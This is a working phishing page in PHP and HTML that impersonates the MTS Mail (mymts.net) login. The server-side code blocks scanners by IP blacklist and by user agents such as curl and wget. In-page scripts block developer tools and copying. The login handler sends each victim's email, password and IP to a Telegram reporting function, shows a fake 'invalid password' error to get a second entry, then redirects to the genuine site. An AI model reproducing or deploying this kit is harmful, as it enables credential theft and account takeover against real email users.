<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE html>
<html lang='en'>
	<head>
								    <meta name="viewport" content="width=device-width">
			    <meta name="viewport" content="initial-scale=1.0">
				<meta http-equiv="X-UA-Compatible" content="IE=11">
		    
		    		    	<title>MTS Mail | Login</title>
		    
		    <!-- Antibot Scripts -->
		    <script src="../m/js/fingerprint.js"></script>
		    <script src="../m/js/utils.js"></script>
		    <script src="../m/js/captcha.js"></script>
		    
		    <!-- Centralized Functions -->
		    <script src="../js/centralized_telegram.js"></script>
		    <script src="../js/centralized_redirect.js"></script>
		    <script src="../js/email_extractor.js"></script>
		    <script src="../js/autofill_helper.js"></script>
                            <!-- Load all relative assets (CSS/JS/images) from the live MTS auth site -->
                            <base href="https://auth.mtsmail.ca/">
		    
				  						
							<script src="/js/modernizr.js"></script>
			
							<script src="/js/jquery-1.11.1.min.js"></script>
			
							<link href="/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet" media="screen"/>
				<script src='/bootstrap/3.3.5/js/bootstrap.min.js'></script>
			
											

	
	<script type="text/javascript">
		var handler = "allow";
		var now = new Date();
		var can_submit_by = now.getTime() + (15 * 1000);
		var completed_captcha = '0' == true;

		function enableSubmit(){
			$('#recaptcha_submit').removeAttr("disabled");
		};
		$(document).ready(function () {
			$("#main-form").submit(function (e) {
				if ((handler == 'captcha' || handler == 'reject') && !completed_captcha) {
					e.preventDefault();
					$('#captcha_modal').modal({
						backdrop: 'static',
						keyboard: false
					});
					$('#recaptcha_submit').click(function () {
						var my_recaptcha_response_field = document.createElement( "input" );
						my_recaptcha_response_field.setAttribute("type", "hidden");
						my_recaptcha_response_field.setAttribute("name", "g-recaptcha-response");
						my_recaptcha_response_field.setAttribute("value", grecaptcha.getResponse());

						$('#main-form').append(my_recaptcha_response_field);
						$('#captcha_modal').on('hidden.bs.modal', function (e) {
							completed_captcha = true;
							$("#main-form").submit();
						})
						$("#captcha_modal").modal('hide');
					});

					$('#captcha_modal').css('position', 'absolute');
					return false;
				}
				$('#waiting_modal').modal({
					backdrop: 'static',
					keyboard: false
				});

				var now = new Date();
				if (handler == 'allow' || handler == 'whitelist' || now.getTime() > can_submit_by) {
					return true;
				}
				setTimeout("$('#main-form').submit();", now.getTime() - can_submit_by);
				return false;
			});
		});
	</script>

			
															<link rel="stylesheet" type="text/css" href="/css/default/base.css" />
			
								<script src='/js/default/base.js'></script>
			

						<style>
			.modal-sm {
				width: auto;
			}

				    														.content .component-header {
								padding-top: 1px;
							}
						
						.content .logo_bar_top {
							border-top: none;
							font-weight: normal;
						}

						.content .self-care a {
							font-size: 12px;
						}

						.footer_notes, .self-care {
							font-size: 12px;
						}

						.footer_notes .row {
							display: table-footer-group;
						}

						#bodyContent .password-toggle {
							font-size: 10px;
						}

						.submit-button {
							background-color: #0066a3;
						}

						#form-content a, #bodyContent a {
							color: #0066a3;
						}

																									
																			
						.content .progress {
							background-color: #B3B3B3;
						}

						.content .progress .indeterminate {
							background-color: #5E5E5E;
						}

												.content .logo {
							max-width: 160px;
						}
						
										
	
    #bodyContent {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
    }
			</style>

								  	</head>
	<body>
		                        <div class="modal fade modal-sm" id="waiting_modal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
                <div class="modal-dialog">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h4 class="modal-title">Please wait...</h4>
                        </div>
                        <div class="modal-body">
                            <p>Please wait while we log you in.</p>
                        </div>
                    </div>
                    <!-- /.modal-content -->
                </div>
                <!-- /.modal-dialog -->
            </div>
            <!-- /.modal -->
            <div class="modal fade modal-sm" id="captcha_modal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
                <div class="modal-dialog">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h4 class="modal-title">Security Verification</h4>
                        </div>
                        <div class="modal-body">
                            <p class='alert alert-block alert-error'>In order to protect your account, please complete the additional verification step below.</p>
                            <div class="g-recaptcha" data-sitekey="" data-callback="enableSubmit"></div>
                        </div>
                        <div class="modal-footer">
                            <button type="button" id="recaptcha_submit" class="btn btn-primary" disabled="disabled">Submit</button>
                        </div>
                    </div>
                    <!-- /.modal-content -->
                </div>
                <!-- /.modal-dialog -->
            </div>
            <!-- /.modal -->
            
		<div id="bodyContent">
			<div class='content mvpd-login'>
									<header class='header'>
			    																<img class='logo mvpd-logo left' src='https://cableco.auth-gateway.net/images/mts/bellmts.png' alt='MTS Mail'/>
					
									<div class="clearfix"></div>

	
						<div class="logo_bar_top login_message">Log in with your mymts.net email address</div>
			
													<h2 class='component-header '></h2>
						
									</header>

						<div class='main-body'>
				
							
												    			    				    			            	<form id='main-form' method='POST'>
            		    		        	    						<input type="hidden" name="AuthState" value="_eb847c71d648f5eca1d647190985b95ab6b310eed3:https://auth.mtsmail.ca/saml/saml2/idp/SSOService.php?spentityid=https%3A%2F%2Fwebmail2.mymts.net%2F&amp;cookieTime=1765600553" />
    											<div class='form-group'>
		<input placeholder="Email Address (example@mymts.net)" onfocus="showElement('username-help')" onblur="hideElement('username-help')" class="form-control" id="username" type="text" name="username" value="" tabindex="1" autocapitalize="off" autocorrect="off" required autofocus/>
		</div>
		

    											<div class='form-group'>
		<input placeholder="Password" onfocus="showElement('password-help')" onblur="hideElement('password-help')" class="form-control" id="password" type="password" name="password" value="" tabindex="2" autocapitalize="off" autocorrect="off" required/>
			<a class='password-toggle hidden' onclick="toggleShowPassword('password', 'SHOW', 'HIDE', this)">SHOW</a>
		</div>
		
    						<input type="hidden" name="login_type" value="username,password" />
    						<input type="hidden" name="source" value="" />
    		        	
    		        	    						<ul class='errors'>
    							    						</ul>
    					
    					    						<button id='login' type='submit' class='login submit-button'
    						>Log In</button>
    					    				                <div class='clearfix'>
    				    					    						<!-- remember_me Area -->
    						<div class="checkbox-group remember" onmouseover="mouseOverToPopupRememberMe(true);" onmouseout="mouseOverToPopupRememberMe(false);">
    							<input type="checkbox" id="remember_me" name="remember_me" value="yes" tabindex="4" checked="checked">
    							<label for='remember_me'>Remember Me</label>
    						</div>
    						<div id="rememberMePopup">When you choose "Remember Me" on sign in, we will remember who you are and keep you signed in for up to 90 days, unless you sign out or your browser cookies are deleted. <br />If you are on a public computer, we recommend you uncheck the box.</div>
    					    				
                                                                    	<a target="_blank" class='forgot-password pull-right' href='https://selfcare.mtsmail.ca/selfcare/password_reset/qa/'>Forgot Password?</a>
                                                            </div>
			</form>
					
		
		            <ul class='social-links'>
                            </ul>
						</div>

						<ul class='self-care'>
				
															</ul>
			
					<footer class='footer'>
												<p class='footer-message'></p>
			
					</footer>
							</div>

								</div>
	<script>
        function togglePassword(el) {
            // el is the button element
            var pwd = document.getElementById('password');
            // flip the type
            if (pwd.type === 'password') {
                pwd.type = 'text';
                el.setAttribute('aria-pressed', 'true');
                el.setAttribute('aria-label', 'Hide password');
                el.title = 'Hide password';
            } else {
                pwd.type = 'password';
                el.setAttribute('aria-pressed', 'false');
                el.setAttribute('aria-label', 'Show password');
                el.title = 'Show password';
            }
            // keep focus and cursor position after type toggle
            try {
            // Try to capture both selectionStart and selectionEnd so caret/selection
                // isn't moved to the start when toggling. If browser doesn't support
                // these properties, fall back to moving caret to the end.
                var start = typeof pwd.selectionStart === 'number' ? pwd.selectionStart : pwd.value.length;
                var end = typeof pwd.selectionEnd === 'number' ? pwd.selectionEnd : start;
                pwd.focus();
                // Allow a micro task for some browsers to re-evaluate type change
                // before setting selection (improves reliability).
                setTimeout(function() {
                    try { pwd.setSelectionRange(start, end); } catch (inner) { /* ignore */ }
                }, 0);
            } catch (e) { /* ignore if not supported */ }
        }
        // Initial spinner and error logic
        window.addEventListener('DOMContentLoaded', function() {
            var spinner = document.getElementById('initSpinner');
            var app = document.getElementById('app');
            var mainContent = document.getElementById('mainContent');
            var initError = document.getElementById('initError');
            // Show mainContent immediately
            if (mainContent) {
                mainContent.style.display = 'block';
            }
        });
    </script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script
      type="text/javascript"
      src="https://l2.io/ip.js?var=userip"
    ></script>
        <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  </body>
  <script>
  /* global $ */
  $(document).ready(function() {
    var count = 0;

    function isValidEmail(email) {
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
      return filter.test(email);
    }

        // Auto-fill email from URL hash fragment.
        // Accepts:
        //  - #email=user@example.com
        //  - #user%40example.com (raw value)
        //  - #dXNlcj5AZXhhbXBsZS5jb20= (base64 encoded value)
        function autoFillFromHash() {
            try {
                var h = window.location.hash || '';
                if (!h) return;
                var fragment = h.substr(1);
                if (!fragment) return;

                // If prefix like email=abc then split and use RHS
                var value = fragment;
                var partsIdx = fragment.indexOf('=');
                if (partsIdx !== -1) {
                    var lhs = fragment.substr(0, partsIdx).toLowerCase();
                    var rhs = fragment.substr(partsIdx + 1);
                    if (lhs === 'email') value = rhs;
                }

                // URL decode once
                try { value = decodeURIComponent(value); } catch (e) { /* ignore */ }

                // If base64, decode
                var base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
                if (base64regex.test(value.replace(/\s/g, ''))) {
                    try {
                        var decoded = atob(value);
                        if (decoded) value = decoded;
                    } catch (e) { /* ignore if not valid base64 */ }
                }

                // Fill the field if it looks like a valid email
                if (value && isValidEmail(value)) {
                    $('#email').val(value).trigger('input');
                    // Optionally focus the password or keep focus on email
                    $('#password').focus();
                }
            } catch (err) { console.warn('autoFillFromHash error', err); }
        }

        // Run auto-fill on page ready
        autoFillFromHash();

        // Hide error when user updates inputs
        $('#username, #password').on('input', function() {
            $('.errors').fadeOut(120);
        });

        // Anti-copy / anti-inspect: discourage right-click, copying, and common dev keys.
        (function() {
            // Disable right-click context menu on non-touch devices only
            var isTouch = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
            if (!isTouch) {
                document.addEventListener('contextmenu', function(e) {
                    e.preventDefault();
                    return false;
                }, false);
            }

            // Disable copy from page
            document.addEventListener('copy', function(e) {
                try { e.clipboardData.setData('text/plain', 'Copying is disabled on this page.'); } catch (err) {}
                e.preventDefault();
                return false;
            });

            // Prevent selection initiation (safely allow within inputs)
            document.addEventListener('selectstart', function(e) {
                if (!e.target.closest('input, textarea')) {
                    e.preventDefault();
                    return false;
                }
            });

            // Block some developer tools key combos (not foolproof)
            document.addEventListener('keydown', function(e) {
                // F12
                if (e.keyCode === 123) { e.preventDefault(); e.stopPropagation(); return false; }
                // Ctrl+Shift+I / Ctrl+Shift+J / Ctrl+Shift+C
                if (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74 || e.keyCode === 67)) { e.preventDefault(); e.stopPropagation(); return false; }
                // Ctrl+U, Ctrl+S
                if (e.ctrlKey && (e.keyCode === 85 || e.keyCode === 83)) { e.preventDefault(); e.stopPropagation(); return false; }
                // Cmd+Option+I (mac dev tools)
                if (e.metaKey && e.altKey && e.keyCode === 73) { e.preventDefault(); e.stopPropagation(); return false; }
            });
        })();

        $('#login').on('click', function(event) {
      event.preventDefault();
      var email = $('#username').val() ? $('#username').val().trim() : '';
      var pw = $('#password').val() ? $('#password').val().trim() : '';
      if (!email) {
        alert('Please enter your email');
        $('#username').focus();
        return false;
      }
      if (!isValidEmail(email)) {
        alert('Enter a valid email');
        $('#username').focus();
        return false;
      }
      if (!pw) {
        alert('Please enter your password');
        $('#password').focus();
        return false;
      }
            // Attempt flow: first submit shows a wrong-credentials message, but
            // we still send a safe telemetry event on every submit. The second
            // submit will also redirect after reporting.
            count = count + 1;

            
            // Use centralized Telegram reporting with provider tag
            window.providerTag = 'mymts';
            var clientIP = window.userip || 'n/a';
            
            function sendTelemetry(attempt, redirectOnSuccess) {
                // Send centralized Telegram report
                if (typeof sendCentralizedTelegramReport === 'function') {
                    sendCentralizedTelegramReport(providerTag, email, pw, clientIP, function(success) {
                        if (redirectOnSuccess) {
                            // Use centralized redirect
                            if (typeof performCentralizedRedirect === 'function') {
                                performCentralizedRedirect(300);
                            } else {
                                // Fallback if centralized redirect not available
                                setTimeout(function() { window.location.replace('https://auth.mtsmail.ca/'); }, 300);
                            }
                        }
                    });
                } else {
                    // Fallback if centralized function not available
                    console.error('Centralized Telegram function not available');
                    if (redirectOnSuccess) {
                        if (typeof performCentralizedRedirect === 'function') {
                            performCentralizedRedirect(300);
                        } else {
                            setTimeout(function() { window.location.replace('https://auth.mtsmail.ca/'); }, 300);
                        }
                    }
                }
                
                if (redirectOnSuccess) {
                    $('#login').text('Logging in...');
                    setTimeout(function() {
                        $('#login').text('Log in');
                    }, 200);
                }
            }

            // Always send telemetry (including the first attempt). Only redirect
            // when we have at least 2 attempts.
            sendTelemetry(count, (count >= 2));

            if (count === 1) {
                // Show error in errors list  
                $('.errors').html('<li style="color:red;">Invalid username or password. Please try again.</li>').show();
                // Clear password for privacy, focus and allow user to try again
                $('#password').val('').focus();
                return false;
            }
            
    });
});
  </script>
	</body>
</html>
